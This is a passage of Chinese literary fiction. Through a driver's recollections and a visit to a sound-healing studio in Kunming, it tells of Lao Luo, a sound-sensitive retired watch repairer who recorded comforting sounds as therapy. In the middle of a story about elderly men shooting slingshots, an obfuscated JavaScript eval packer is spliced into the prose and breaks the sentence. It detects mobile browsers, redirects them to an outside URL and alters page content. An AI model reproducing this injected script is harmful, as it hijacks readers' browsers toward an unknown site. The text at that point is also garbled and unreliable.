自从十年前搬到云南来,老罗就爱上了这里的风。云南是我国季风气候最显著的地区之一,每年11月至次年4月是干季,又称风季,年均风速可达1-3米/秒,2到4月风速尤大。怕冷的人出门总要戴上帽子,把头顶变得毛茸茸的,以抵抗海拔两千米左右不留情面的风。老罗来了,很喜欢看街上不同人的各色帽子。小孩子的卡通帽子毛茸茸的,女士们的小礼帽优雅洋气,男士们的小毡帽也挺利落。风最大的那些日子,商铺的大型遮阳伞会被吹成倒戈的蘑菇,姑娘们撑的遮阳伞也难逃此运,撑伞的佳人一瞬间就有可能变成拔萝卜的惊慌小姑娘。老罗也戴帽子,像八爪鱼紧紧扒住头顶的厚毛线帽子。它虽然不太好看,却最实用,不会像浪漫电影里的好看的帽子那样,嗖的一声,钻到蓝天白云里去。 这样的风,放风筝,就很完美了。 “常在哪里放呢?”金琥问。 “滇越铁路老铁轨上,有块地比较空旷。放完了,就沿铁路走一走,看看地台寺的三角梅。但现在,那边新建了停车场、篮球场。所以我最常去的地方是大观公园和滇池边,还是好放的。” 老罗回应时,留意到金琥车上的平安车挂。一个是毛主席的车挂,红彤彤的,一身正气,一个是桃木雕的齐天大圣,抬头遮阳,正用火眼金睛眺望远方。巧了,这俩也是老罗的偶像。 就这样,在搬家货车停到第二个红灯之前,老罗和金琥很快熟络起来。 那天,金琥搬完家后,给老罗吹了几首曲子。《军港之夜》《莫斯科郊外的晚上》,还有那首《鸿雁》。他当兵时,班长总唱。最开始,他以为班长老家是内蒙古大草原的,结果,人家来自江苏。班长说,他喜欢这种能人看见大草原的老歌。也是怪了,许多年过去,金琥开车,眼前放个口琴,也能看见草原。看见草原,就不容易心浮气躁了,车开得越来越稳。 再之后,老罗联系金琥,问有没有可能找他做司机,按月付钱。老罗年纪大了,想出远门走走,需要一个信得过的司机。老罗会提前约时间,不耽误金琥接其他生意,也不会太频繁。钱给得不少。金琥爽快地答应了。 接下来几年间,从滇池边的湿地上,到昆明向北、向南的几处远郊森林公园,再远一些,抚仙湖或是盘龙寺,金琥换了一辆私人轿车带着老罗各处跑。每次,金琥都会在风景好的地方吹吹口琴。老罗也有个习惯,每次,听到美好或者有趣的声音,就会用手机录个音。 “老罗说,这是在做作业,”金琥说。 来不及追问一句何为作业,二更就遭遇了“突袭”。车开入圆通街,二更撞入了一场云南晚樱的奇袭。毫无准备,迎面而来的漫天花海中,每一朵花都在赤诚地亲吻二更的双眼,它们铺天盖地地绽放,死心塌地地赠予,任何一个被如此眷顾的人,都会感受到一种不容置疑的偏爱。这种毫无准备又拉满阈值的体验,一辈子难以重复第二次。它在一瞬间,残忍地提高了二更这辈子对花海动心的门槛。 这样的花海,荡漾起来,飘落一地落花。人们没有怠慢落花。路边有座职业学校,学生们在用在落花堆出图案。二更想探头看清楚,奈何绿灯亮起,车开起来。 “是LOVE”,金琥笑着说,“这条路我走多少年了,每年都这么开,学生们一年又一年堆雪人一样地堆花,路人们也喜欢站在这些个图案两边合照。”金琥顿了一下,接着说,“我也LOVE老罗,像爱我妈一样。” 等等,老罗,是一位女士? “对啊,她喜欢我们叫她老罗。最初,我叫她罗老师。她说不好,拿腔拿调的,就叫老罗。” 是二更先入为主了。她在昆明见过不少放风筝的老人家,多数是大爷。刚到昆明时,她骑着自行车到处转,看到一个背着燕子风筝的老头儿,突然很想追一追,看看对方要去向哪里放风筝。结果自己身子骨还没大爷硬朗,硬是在第一个路口就跟丢了。她索性一直往前骑,看能不能再遇到,骑到第二个十字路口时,前方天空飘起了这只燕子风筝,晃悠悠地,上了青天。 潇洒人间,勿论男女。老罗,定也是位技艺精湛的放风筝大师。 对了,还有一个疑问,“做作业”,又是什么意思? 下一个十字路口,金琥开始解密。 罗望子是一个对声音极度敏感的人。这种敏感,生理学上有一种解释:这类人前额叶更早熟,前额叶与杏仁核的链接过于紧密,对日常声音刺激的过滤阈值低。科学上有解释,但科学没有提供好的解决方案。罗望子敏锐的听觉给她的人生带来了双面影响。她成为了一个出色的钟表维修师,专业技术拔尖,但同时,对于声音的敏感,对一个普通人的日常生活并非是好事。她所喜欢的声音带来的快乐,未必比别人多;但她承受不住的声音带来的痛苦,绝对比别人翻出好几倍。 之所以搬来昆明,也和声音有关系。老罗在一次旅行中,偶然在昆明接受到了一次声音疗愈。她觉得这种疗愈对她会有帮助。发起这项声音疗愈的人,正是和二更通过话的黎医生。老罗跟随黎医生进行日常疗愈的这些年里,黎医生布置了一份简单的“作业”:老罗要用手机随手记录下能让她感受到快乐、放松的声音,无论它们是什么,别管是否奇怪,是否会被别人喜欢和理解。 “我跟着她录到了不少奇奇怪怪的声音”,金琥回忆道。 有次,老罗让金琥带她去一家骨科康复医院。金琥以为她要见什么朋友。结果她只是想听一听,那些骨折、腿摔伤了的病人,正在复建时用拐杖戳地的声音。“咚咚咚,咚咚咚”,吵得狠,地也跟着一震一震的。如果出现在自家楼上楼下,势必是一种恼人甚至吓人的噪音。老罗过去也曾因为这种重物掷地的声音饱受困扰。但在这个特殊场合里,这种声音是康复的必经之路,是一种治愈的、积极的声音。她专门跑来在这里听“咚咚咚”,为的是减少自己对这类声音的恐惧与厌恶。她坐在那里,刚开始有些烦躁,后来闭目养神,听了好一会儿,竟然能安静下来,还用手机认真录了一分钟。 有次,老罗让金琥带她去市中心一个高层的天台看日落。她们遇到两个穿着中学校服的男生,也要去天台。这栋楼26层的天台是个城市新兴的网红打卡点,金琥没想到,老罗也会凑这种热闹,还能碰上高中生这样年纪的同好者。因为不是楼内住户,两队人登记后,要等一位登楼内的住户刷一下电梯的门禁才能进。刚巧有位姑娘住在24层,门禁卡只能刷到24层。老罗和俩个高中生都不介意爬2层。 俩孩子是同桌,其中一个刚被老师骂了,心情欠佳,于是另一个想到,来学校最近的看落日最好地方,一起大声喊一喊,让心松一松。那天,本来打算记录城市落日交响曲的老罗,录下了两个小男生在天台上呐喊的声音,包括骂一骂老师和学校的呐喊声,“那么多作业!”“滚蛋吧,月考”“不想早起!”“为什么!!!这个世界上有化学课!”。男孩的声音十分高亢,甚至一度喊破了音,夹杂着天真的怒音。放平常,金琥肯定会觉得刺耳,但在夕阳晒红的天台上,竟然,有点可爱。 老罗也喜欢昆明市中心的文庙。文庙中心有一片小的人工湖,上面有一块可以坐着休息的小空地。她会坐着那里晒太阳,顺便拿手机录小朋友在台阶上上上下下的脚步声。“咚咚锵,咚咚锵,咚咚咚咚咚!” 这声音如果出现在住宅楼,也会让喜好安静的人感受到痛苦的心悸。然而此刻,在日光里,在一处气场清和的水上露台,这声音就变了质地,让人感受到活力。 有次,老罗去郊野公园。这里游客少,来者一是本地的骑行客,因为附近有段盘山路上坡搭配下坡,弯弯绕绕,很挑战骑友们的体力。二是住在山下几个老镇子的老人家。这天,没有骑行客,只有一阵阵清亮的叮叮当当,像在街边敲着叮叮当小钟卖麦芽糖的声响,但断断续续,很随机。金琥和老罗循着声响去找,到了声响最大的地方,发现路边有人在卖弹弓--是一群老头在这里玩弹弓! 对面树林里闪着几十颗星星般的光点。他们把喝完的啤酒罐,从中间切开,挂在对面养蜂人的蜂场林间。啤酒罐在日光下闪着光,形成了一群密集的靶子,老头们隔着几十米乃至百米,往山林里打。一旦打中目标,啤酒罐响亮的声音就回荡在山林里,同时,射击处这边也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294813|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会传来一阵阵喝彩。这里远离市区,不会扰民。叮当声不断,笑声也不断。那天,老罗录了一下午叮叮当当的声响。 偶尔,她也会去滇池边,看钓鱼的人。钓鱼的人通常都很安静。她喜欢听人钓起鱼来之后的水声和欢呼声。但这种情况,通常要等很久。她甚至能一边等,一边在在草坪上躺着睡着,因此时常错过录音的机会。 搬到翠湖后,老罗家附近有家理发店,店门口鸟笼里养了两只黄绿色的鹦鹉。一个叫吞吞,一个叫吐吐。一开始,两只鸟被店主教,只会说,“欢迎光临”“美女帅哥你真美”,还有,“要不要办卡”。后来她经常路过,时不时找鸟聊天,吞吞和吐吐竟然会说“可可爱爱”“早上好”“晚安”“爱你”了。 鹦鹉叫声算不算吵呢?老罗觉得,其实有点。鹦鹉聪明,有自己的想法,想叫就叫。她不太敢养,只能每天散步路过时过过瘾。没想到,理发店的老板见鹦鹉喜欢老罗,直接把鹦鹉送给了老罗。 老罗犹豫了一下,还是收了。 鹦鹉能治心病。鹦鹉会学人说话,养了鹦鹉的人,为了防止鹦鹉跟着自己学到一些不好的词,就会很注意说话。哪怕一个人瞎叨叨,也会注意不说什么不好的词,以免鹦鹉脏了口。 鹦鹉像是给人的日子装上了一个“好好说话”的安全阀。老罗的鹦鹉会说“可可爱爱”,“早上好”,“晚安”,这意味着老罗每天早上醒来都会和鹦鹉们问好,晚上说晚安,每次想说那些不好的词时,就会提醒自己把不吉利的话变成“可可爱爱”再讲出来。 此外,老罗还养过一只松鼠,放养。她在一家米线店门口看到过一只被养在笼子里的松鼠。这是她第一次听到松鼠的叫声,嘎嘎嘎,竟然有一些像大鹅。老板自己从金殿的山林里捉来的,他也知道,松鼠在笼子里不快乐,但舍不得放。老罗把它买了下来,放回金殿森林,脖子上带了一个小小的定位颈圈。有时老罗不知道该去哪里做作业,就去金殿爬山,顺便看看松鼠。她根据定位颈圈的大致范围,再凭借敏锐的听觉,就能找到松鼠在哪里。那只松鼠后来一直生活在金殿,并不缺东西吃,因为不少住在附近的老人家喜欢隔三差五地爬个山。他们会带着花生、瓜子上山,在石头上放一堆,甚至会体贴地把核桃撬开、花生剥开,供松鼠自由采食。 但有时,来者是一只小老鼠。老罗想,小老鼠又怎样呢?它又没有偷灯油,又没有往人家里窜。它吃东西都那么小心翼翼,甚至爬上那个放果子的石栏杆,都要花费好大的力气。赶上了不会人人喊打的时代,就让它好好吃饭。 金琥越了解老罗,就越会发现她的奇怪之处。整体来看,老罗喜欢动物,能容忍动物的声音,但比较少喜欢人的声音。金琥逐渐发现她身上的一些不完美甚至是有些尖刻的地方。这样的时刻,金琥也曾感受到一丝畏惧。 有次,老罗和金琥一家人去博物馆,门口排队。暑假,人多,一个已婚带孩子的女人因带着孩子强行插队和排队的人们吵了起来,来来回回,三、五分钟,才被劝停。老罗很平静地看着她们吵了几句,从口袋里掏出来耳塞戴上了。回来路上,老罗幽幽地说,那个女人在漫长的婚姻和家庭生活中,消磨了人生,自私自利,眼界局限,她不喜欢,她的声音不好听,自己感觉很不舒服。 “但这类女人很擅长吵架,因为她们在婚姻里习得了拌口角的小计俩,日日修炼,炉火纯青。但再怎么修炼,也挺低劣的。两三句话就给人定性,‘贱人’‘烂人’‘鸟人’随口就说出来,完全不知道她的逻辑在哪里。”一时间,车内无言。老太太难得一次发脾气,很是直接。老罗在这样的时刻,总是带着清冷的无情。“这世界上这么多人,你不能指望所有人都温良恭俭让。可爱的人,是人。不可爱的人,不过就是地球上和你共存的碳基生物罢了。” 平心而论,老罗这样的人,一个人风风雨雨这么多年,还能把自己照顾得体面,没点心狠的准则,是说不过去的。她对金琥好,无非是她恰好愿意。她一定有和生活打交道的凌厉剑术。 相处久了,金琥觉得,老罗很适合当兵。这种说法在不当兵的人看来肯定是有点奇怪的,毕竟,老罗怎么看,都已经是一位瘦削的老太太了,就连个头都比年轻时缩了几分。但金琥有他的经验和理由:老罗身上有兵王的气质,她可以一个人过,过得挺好,心无旁骛,内心坚定。她好静,一定能当那种守在鸟不拉屎地方的哨兵,也可以做潜伏在某处三天三夜不动的侦察兵。此外,她很有能量,外冷内热,心凉的人跟着她走一段路或是坐一会儿,心里就会热乎一阵,觉得人生挺有盼头。金琥相信,她能当兵,也能带兵。 金琥带着老罗最后一次出门,目的地是昆明远郊的棋盘山森林公园。老罗想给自己修表的最后一套工具,修一个衣冠冢。 武侠小说里,有人会给自己的剑、刀等武器修坟。侠客们相信,刀剑有生命。它们的离开值得一场庄重的仪式。老罗给自己的工具起了名字,绿波香露刀、银弧刀、金蛇剑、淑女剑、鹿角杖、芙蓉金针、金蛇锥、无影神针、鳄嘴剪、闪电锥。两人找个阳光晒得很久的地方,把这套工具悄埋了。地点不在生态保护区,是村里的山地,所以大抵也是无碍的。隔壁有几座烈士墓,有几十年前为救妇孺被劫匪杀害的烈士,也有在爱国学生运动中英年早逝的英勇学生,老罗觉得,此处风水很好、很正。 那是老罗身体情况还能支持短途旅行的最后机会了。在那之前,大多数时候,老罗不会走太远。她会去市区的公园、湖边、河边,小狗们玩水的湖边,小男孩舀水玩的低浅水池边。她会找个地方坐着,听小狗和小孩子们玩水的声音。远远看去,她就像是谁的奶奶,她的眼神真的很慈祥。 老罗有钟表维修师的严谨习惯,每次录音,她严格把控时间,详细记录下地点、时间和声音的名称,再附带上对于声音的感受。写得很简略,但每次都会写。 唯有最后送别工具那次,林间松风也极好听。但那次,老罗不言不语,也未动手录音。在那之后不久,老罗也离开了。 车又在红灯前停下,金琥望了望前面的街口,又说道,“我媳妇和老罗关系也很好。她陪她去取过节育环。老罗那代人用这个办法节育。老了,到了年纪,就要把节育环取出。一听她要做这个手术,我赶紧让媳妇陪着去了。我媳妇回来告诉我,老罗说,她有过一个孩子,脖子后面有一块胎记,恰好和我脖子后面的印记很像。但那个孩子早夭。我理解了老罗为什么会照顾我,我当然也愿意照顾她。” 绿灯亮起,“我们要到了,前面那个路口,就可以下车了。”金琥说。 02 诗意的隔音层 声音疗愈所的位置位于青云街与圆通街十字交汇处的小山丘上。这里有一家理发店、一家中医馆、一家素食餐厅。爬一两分钟到最里面,才是这家叫做“远志”的疗愈所,门牌上写着春登里·5号。这附近片区的名字是上世纪八九十年代定下的,春登里,夏荫里,秋实里,冬青里。与春登里相对的,是秋实里,被一所聋哑学校占据了所有空间,连带着周边几个老小区都格外地安静。 金琥帮二更打开了“远志”的门,做了一个邀请的姿势后,转身离开。 二更走进这座小楼,感觉身体像一个小核桃,“嘭”地一下子被撬开了。她的五官从此变得更加敏锐。首先感受到的,是柔软。一楼地面很软,像博物馆展厅里的静音地毯,踏上去安心、无声。 室内很静,目光所及之处,皆是钟表。它们都处于静止的状态,没有任何声响。 老式的几案上放着几个古典的座钟。最老的一座,木头机身上涂着红漆,玻璃机盒上用金漆装饰,画了很传统喜庆的龙凤呈祥纹样。又走几步,二更发现所有一楼四面墙壁上镶嵌了许多错落有致的小展柜,它们以一种波浪的形式在室内铺开,荡漾着出一种流动的寂静。细看,展柜每格空间都不大,放着腕表,样式古典,几乎囊括了国内各地老手表厂家的经典款式。这些老牌手表流行于上世纪八、九十年代,是那一时期青年男女结婚时的三件套之一。 墙面所有的钟表,都停在了各自不同的时间,但在视觉上,它们共同带来一种流动感,让人走近了,就不自觉地幻听出最熟悉的钟表滴答声。 11. 第七课(下):罗望子 任声浪汹涌 在这种奇异交织的感受中,一个人影从二楼走下来。这便是黎檬了。灰蓝色的针织衫,白色直筒裤,头发马尾高高竖起,头发亚麻棕色,蓬松地在身后轻晃着。一见二更,她便笑了,双眼似一条弯弯的月牙儿,带着水光,好一个清雅的女孩。 “不好意思,这里有点乱”,黎檬说,“才整理出来两个月。再早之前,这里是罗姐的修表店,也是她的家。” 黎檬带着二更走上中间的旋转楼梯。随着台阶向上,二更得以更近距离地看清这些老式腕表的真容。黎檬见她感兴趣,便时不时停下来做个介绍。她在一只表身上装饰有很雅致双飞燕图案的腕表旁停了下来,介绍道,“这是我老家的厂子,重庆的山茶花做的腕表。现在看,依然很好看。” “再看这个”,黎檬又指着隔壁另一只男款机械表,“这是昆明手表厂的飞鸥牌机械表,造型更粗粝一些。” 在成为独立的钟表维修师之前,罗望子曾在重庆山茶花制表厂做了三十多年维修师。上世纪80年代,西南地区有好几家手表厂,重庆的叫山茶,成都的叫茉莉,轮到昆明,昆明市花也是山茶花,但已经被重庆抢走了,于是昆明另辟蹊径,取名叫飞鸥牌。取这个名,是因为那几年,红嘴鸥已经连续多年来昆明过冬了,整个春城对它们感情甚浓。转眼三、四十多年过去,红嘴鸥仍然每年千里迢迢地来昆明越冬,几家老手表厂在时代转型之中浮浮沉沉,只余下一、两家存留。在千禧年前后,幸存的老表厂在阵痛中,成功转型为现代表业集团。 老罗是一位出色的钟表维修师,别人找不出的毛病,她把表放到耳朵边听一听,就差不多能知道是哪里出了问题。她对声音的敏感,在这一刻被发挥得淋漓尽致。维修台,就是她的舞台。敏锐的听觉,此刻是她手握的银狐刀。在这样的时刻,罗望子会短暂地觉察到,老天对她的青睐。 退休后,她从重庆搬到昆明,一些相熟的手表收藏家会特意跑过来,拜托她修理一些新手的旧手表,或是犯了疑难杂症的手表。从最早滇池边的住处,再到翠湖附近的这栋小楼,它们都承担了家和工作室的两重功能,它们见证了老罗和表相守一生的情缘。这份情缘,给老罗带来诸多沉静与欢喜,也赠她一身职业病。黎檬认识老罗时,由于颈椎有一节关节变形突出,腰椎曲度过直,老罗的维修工作只能对外告辞。也正因此,老罗决议从重庆搬到昆明静养。在昆明的这段余生,老罗的家只偶尔接待一些老友,而且人数越来越少,这栋小楼便越来越像一座隐匿的钟表馆。 楼梯走到尽头,两人走入二楼大厅里。这里安置着一墙军表。天津海鸥304计时码表,1961年天津手表厂试制的空军专供航空表。上海24钻表,1969年上海手表厂定型的中国军表,代表了当时中国制表的最高水平。天津1963飞行码表,中国自行研制成功的第一批飞行码表。上海牌A623手表,中国生产的第一批日历手表。 军表,解决军事行动需求而生产的表,外形粗犷,材质坚固,操作力求简易,表盘干净简洁。军表外表朴实,内核坚韧。老罗喜爱军表。最初,有人将一些收藏价值高的军表送来给她维修,她越看越喜欢,慢慢地,自己也开始收藏。一些客户也会送她一些特定型号的表,渐渐积少成多。 “我对这些表并不是很在行。但老罗给每只表做展柜、配标签时,我来帮过忙。”黎檬说,“我想,这里就是罗姐的时间的长河,她身在其中,一定能感受到宁静与自由”。 二楼最大的一间房间,是“罗工”曾经的工作室。此刻,它空荡荡的,只剩一张很大的工作台与椅子。 空荡的摆设,让落地窗外的世界一览无余。 近处的十字路口十分热闹。勾肩搭背的小情侣正亲昵地嬉闹着,水果店的店员阿姨正在拿着长刀熟练地切蜜瓜,理发店--就是那家鹦鹉的老家--门前彩灯旋转不停,几个正在轮休的理发师小哥,正喝着冰可乐一起打游戏。 再远一些,对面秋实里的聋哑学校,亮橙色的教学楼十分醒目。这间聋哑学校有一个规矩,历任校长都默契地延续:尽量让校园里的颜色丰富多彩,给师生们提供明朗可人的视觉体验。三月底,校园里的樱花、梨花、红叶李开得正盛,白粉交映,纯真中带了笑意。花坛中,葱兰含苞待放。再一个月后,它们会开出一个个肥美的花球。花球顶在挺拔的花杆上,像童年的你我一眼看到就想拥有的玩具。 这是学生们投票选出的植物。孩子们喜欢蹲下来看葱兰,把饱满的圆球看得更加完整和立体。在孩子们的眼里,花球中的每一朵小花都形状分明,灿烂星河彷佛汇聚在一个花球之中。他们趴在地上看它,小小的葱兰可以和远处的棕榈树、雪松一样高,变成耸立在人间的水塔。孩子们敏锐的观察力,也可以让许多被掩在草丛里的小花被看见。美女樱、蓝盆花等等小草花,学校会定期周转着换。小草花没有固定的姿态,三五成群凑在一起的,像小猫咪们睡在一起,孤芳自赏的,像独自跑出来的小鹿,怎么看,都是好看的。 葱花休息后,门卫室大叔种的辣椒就要在6月份陆续登场了,有常见的火红色小尖椒,有肥硕的胖青椒,也有大小如圣女果的七彩椒。家长们若在花里或在各地旅游时,看见什么特别样式的小辣椒,也会送过来给大叔种种看,或者偷偷塞在辣椒架子下,让它自然生长。去年,新冒出来一种像倒挂金钟形状的彩椒,就是不知被谁种下的。 二更由近及远,又由远及近,在鲜活的色彩与慢节奏的老街图景,没有听到丝毫的声响。这是一间隔音很好的房间。 “好安静啊,”二更感慨。 “是啊。不过,我们刚才所见的所有钟表,在老罗生活在这里的时候,都在走针,都是有声音的。”黎檬答。 “那不会很吵吗?尤其是,对她而言。” “或许许多声音对她来说,都格外吵闹。但钟表走针的声音,不会”。黎檬答。 “最早,罗姐搬来昆明时,住在滇池边一个全方位隔音的房子里。那栋房子,我也曾经去过,它很像母亲的子宫。 孩子最初的听觉,来自母亲身体里的交响乐,比如母亲骨关节的声音、心脏跳动的声音。所以,婴儿时期的我们,对这些声音会感到安全。母亲的子宫就像我们的安全屋,对于听觉而言,尤其如此。 但成年之后,如果一个人还需在子宫里,这意味着外面的世界对她而言并不安全,导致人会产生强烈的防御感,并封闭自己的身心。这种封闭又会加剧她的不安全感。所以,我认真思考后,建议罗姐换一个地方。 我想了很多方式,帮她走出‘听觉的子宫’,又同时能够拥有一道护城河一般的保护层。很幸运地,这个想法在这栋房子里实现了。 搬到了这里后,我们尝试用她最亲近和熟悉的钟表声,制造出一条环绕她日常生活的长河。我们试过把不同数量的钟表调成工作模式,它们发出的滴答声,都是罗姐熟悉的,甚至对她而言是最安全可靠的白噪音。它们汇集在一起,形成了一道特殊的隔音层。 我还记得,起初,我并不建议工作状态的钟表、手表数量太多。然而后来,我和罗姐以及金琥夫妇还有他们的两个小朋友一起,经过反复试验,发现对罗姐而言,所有的表一起工作,一起发声,对她而言,完全不会造成什么不良影响。 我还记得我一只一只地把表调出声响的瞬间。我像一只小鱼,真正地游入了罗姐的世界。每调出一只表的滴答声,我就再往这片海洋深入地更进一步。我带着许多五颜六色的小鱼,一点一点,把它们放进这栋屋子,最终造出一片浩瀚又纯净的大海。每一声‘滴答’,都是海中畅游的生灵。而她,在这条长河里,大概也会变成一只自在的白鲸。她被鱼儿们环绕着,在流动中得到了安宁。 这是我职业生涯中,最特殊的一次实验了。很开心,它成功了。 我见证了罗姐在这栋房子中安度的余生,她相比以前,更加自由,更加放松,也更加快乐。 当然,这里并不是密不透风的。” 黎檬说着,走近落地窗旁一扇小小的窗。“罗姐后来已经很可以和周遭的声响和平共处了。这些窗户像一个又一个奇特的抽屉,嵌在海里。每当她拉开抽屉,就可以放出一些海浪声。像是一只白鲸,从海水中探出头,看看外面的世界。如果她觉得风大了,浪太急,随时都可以关上。” 二更试图去想象那一条声音的河流,想象每只表精微的滴答声,如何汇聚在一起,包裹住一只白鲸,温柔地挽住了她的周游,形成一道对罗望子而言熟悉且诗意的隔音层。 “你想试一下,声浪流入的感觉吗?”黎檬问。 二更点头,黎檬于是走向窗前,轻轻撑开了一扇小窗。车马流水声,人声喧哗声,透过缝隙,忽地袭来。 这里是学校区域,禁止鸣笛,车速也有限制。这里的孩子们更习惯用手语交流,家长也是,这让周边的声音大多是一些距离感恰好的白噪音。 “可以试试闭上眼,想象每一种声音的来源。再睁开眼,寻觅,对照,你会发现,每一种声音都变得新奇了”。黎檬建议。 二更闭上眼,她开始随着一波又一波的海浪,思绪飘摇。她尽量放松大脑,肆意遐想,于是,她听到了公园里竹子随风而动,轻轻拍打彼此的竹板声,听到了一朵细小的桂花,轻轻落在春羽叶面上的几近无声的声响,听到了水池里粼粼水光晃动着爬上了池边石壁的细微行进声。 睁开眼,无非是寻常车水马流。十字路口,迎着温和夕阳拍写真的女孩们穿着蓬蓬裙,乖巧地等红灯,一个老人带着一只雪白色的博美出来散步,博美一跳一跳的努力奔跑,像一只蓬松的毛球。 “我们头脑中有很好的能量和回忆,比我们想象中要多得多,记录和储存一些美好的记忆,可以抵消漫长人生中许多忧愁。”黎檬说。 二更脑海中闪现出第一次去姜籽画室的感受,“波浪”,又一道神奇的波浪。这次不是给人视觉奇景的绿波,她感受到了是多彩声音的波浪。在加入了一点点自己的想象力与宁静心之后,寻常的声浪美妙地重合在一起,给人听觉上一次洗礼。 二更似乎有些明白罗望子家中这扇窗的意义了。她靠近那扇小小的窗。这扇窗意味着勇气,也意味着和解,意味着想象力,也意味着平衡。声音,浩瀚无垠,包涵无限可能。人当然可以和喜爱、信任的声音一起,也可以赋予最寻常的声音以瑰丽的想象,进而从听觉层面,创造出与众不同的人生选择。这种努力,花费了罗望子大半生的精力。这是她很拿得出手的一项好好独自生活的成就。 老罗的这栋房子,是她生命中最后一个家。她在这里度过了一段温柔又安全的日子。做到这一点并不容易,距离她第一次进行声音作业,已有许多年。 03 一片偶然的花瓣 忽地一阵风,带入一片偶然的樱花花瓣。 钻入小窗的花瓣,很小,只比米粒大那么一点点,于是只有二更一人觉察。它荡悠悠,落到她手心。二更感受到一种轻微的麻烫。她不自觉地把手握紧了一下,那感受更强烈了。 是恐惧?是恐惧。一个小孩子在失和的家庭中长大,从小对父母高分贝的争吵声、玻璃瓷器摔碎摔的声响、对没有任何预兆“嘭”的一声重物坠地的声响,无法控制的恐惧,从幼年持续到成年。 这恐惧,源自于罗望子。一段低语,经由手心的刺痛,钻入二更的心神。 -- “我小时候,一直是个等碗掉下来,摔碎了的小孩。 怎么解释呢?就是我父母经常吵架,偶尔会摔碗。我只要在家,就会默认家里某只碗有可能会碎掉,伴着刺耳的声音,落成满地碎片。 我的童年是在忧心忡忡中度过的。曾经有个很经典的概念形容人的焦虑,‘等另一只靴子掉下来’。这种焦虑,我从五、六岁时就有了,一直随身携带。当我在外面玩的时候,听到任何破碎的声音,我都会想到是不是家里又吵架了。我会从胡同尽头跑回家,问问有没有什么东西碎掉,甚至会检查一下家里的碗有没有少一个。 我读小学时,小女孩们流行留小丸子头。现在这种发型有许多好听的叫法,埃及艳后头’‘朵拉头’‘蘑菇头’。我们那时叫‘木碗头’,因为它就像一只碗扣在头上,再剪个齐刘海的平齐豁口。这个发型我一直留到三年级,但我一点也不喜欢。它时时刻刻提醒我对一只破碗的恐惧。 长大后的我,并没有逃离这种恐惧,反而时刻活在其中。只要一遇到尖锐的吵架声、愤怒的呵责声,尤其是瓷器摔地的声音,我仍会感到恐惧。哪怕心理上的恐惧已随着年纪增长缓解了,我依然会忍不住颤抖一下,并且心跳加快。这大概是我毕生都无法彻底克服的一种身体记忆。 碎在小时候的那只碗,留下了两个细小的玻璃碴子,一个扎进了耳朵,一个楔入了控制颤栗的那条神经里。 ......” -- 这世间很多孩子悲伤与恐惧,源自于为人父母不需要考试,包括不考愤怒时是否可以不摔碗。 二更手心的刺痛渐渐消失,只余下她的一声叹息。 这恐惧,她未曾经历,却有些懂得。二更联想到自己一些感觉上的敏感触角。她怕冷。这种对冷的高敏感度,源自于姥姥去世后的第一个冬天。她觉得手冷脚冷,哪里都异常得冷。 那年,祖母去世,她十分消沉,没有好好体面地过冬。每天随便一裹,看着约莫像个人类,就出门了。基于她奇特的拧巴性格,二更不愿找人聊天,也确实找不到几个人聊天。于是那个冬天,她过得糊弄且寒冷。不仅是杭州室外真实的湿冷,更有内心孤寂、自我为难的冷。 这样一个冷的冬季,她是在春天来了,天气暖了才觉察的。她发现,即便街上的姑娘们都换上了轻便的春装,她依然裹着厚厚的衣裳,手心、脚心经常是凉的。脖子很容易受寒,哪一天稍不注意忘记关窗,或是一阵风来刚才灌入脖颈,整个身子立马就会觉得要打寒颤,脖子要疼好几天。只要一点点蒙蒙小雨,也能把湿冷浸润到整个身体里。 冷,或许是一种敏感的生理反应,但怕冷,却逐渐形成了一种敏感的心理作用,开始凌厉地贯穿她此后的人生。 第二个冬天,她疯狂地买了很多很多厚衣服。数量都是双份的,好像只买一件会冷似的。在接下来好几个冬天,这些厚衣服,尤其是作为第二件买下来的厚衣服,成为了一种用不着也舍不得丢的精神慰藉。 若不是这些年,做记者,二更走得地方多了,心胸也随之开阔,体质也强了一些,她或许依然沉浸在心灵的冰雪天地里,仍是一只有心理重担的熊。 老实说,她花了一段时间认真地处理这个心理累赘,动用了人生中难得感受到幸福的一些事情做柴火,反复回忆与点火,才逐渐铲除了人生中存留过久的一场雪,和它结下的长久冰霜。原本,那些快乐的事,可以只关乎快乐,简简单单的,然而它们做了柴火,就燃尽了,搞得二更如今很难从记忆里找出一些单纯快乐的回忆了。 说起来,姥姥去世后的一两个月,她对声音的敏感度也会比过往敏感。那段时间,她只能接受字正腔圆的普通话,只愿意接受收音机、电视上传来的那种有距离感的人声。对身边人那些最有人味儿的声音,却无端地觉得吵闹。后来,生活工作所需,无奈地越活越粗糙,再加上对自己关心不够,稀里糊涂把这些自己身上精妙的触角,刻意规避了,才慢慢忘记了它们曾经真切地存在过。 罗望子的日子,一定比她简单经历过的特殊时期,更加艰难。 “她怎么做的呢?”二更握着那片隐匿的花瓣问,“是因为,除了这条河,还有那些作业,对吗?” “嗯。要请您到三楼看看,她留下的作业全被保留在那里”,黎檬答。 走上去,三楼,有一半面积由一个半圆形的玻璃花房占据。花房是新造的,面积不大,可以作为一间小巧的工作室使用。相比二楼的简约,这里满满当当地安置了罗姐的一部分遗产--罗望子养过的的植物们。 最显眼的是挂满半空的球兰。三月底,球兰初入花期,垂下尚未全然开放的花球,像正在预备一场二、三十年前的中式婚礼,天花板上挂满圆球型彩纸装饰。球兰原本养在二楼一处东向的阳台,上午有阳光直射,从正午到傍晚都是柔和的散光,所以长得很好。还好,过去所有的枝蔓都是由鱼线悬挂垂吊在半空的,因此得以毫发无损地挪移到这个光照环境相似的新家。 黎檬收留了罗望子所有的植物,包括几盆很小的多肉、微型花盆里的小盆景。凤尾葵和青苹果竹芋被放在了阴凉处,配了加湿器,它们需要充分的湿度。大琴叶榕、橡皮树放在了有阳光直射的门口,它们需要充分的光照。 花房的中心空间,是一个圆形的封闭小屋。黎檬暂时给它取名,叫“聆听小屋”。里面收纳了罗望子录制的1500多条声音作业。 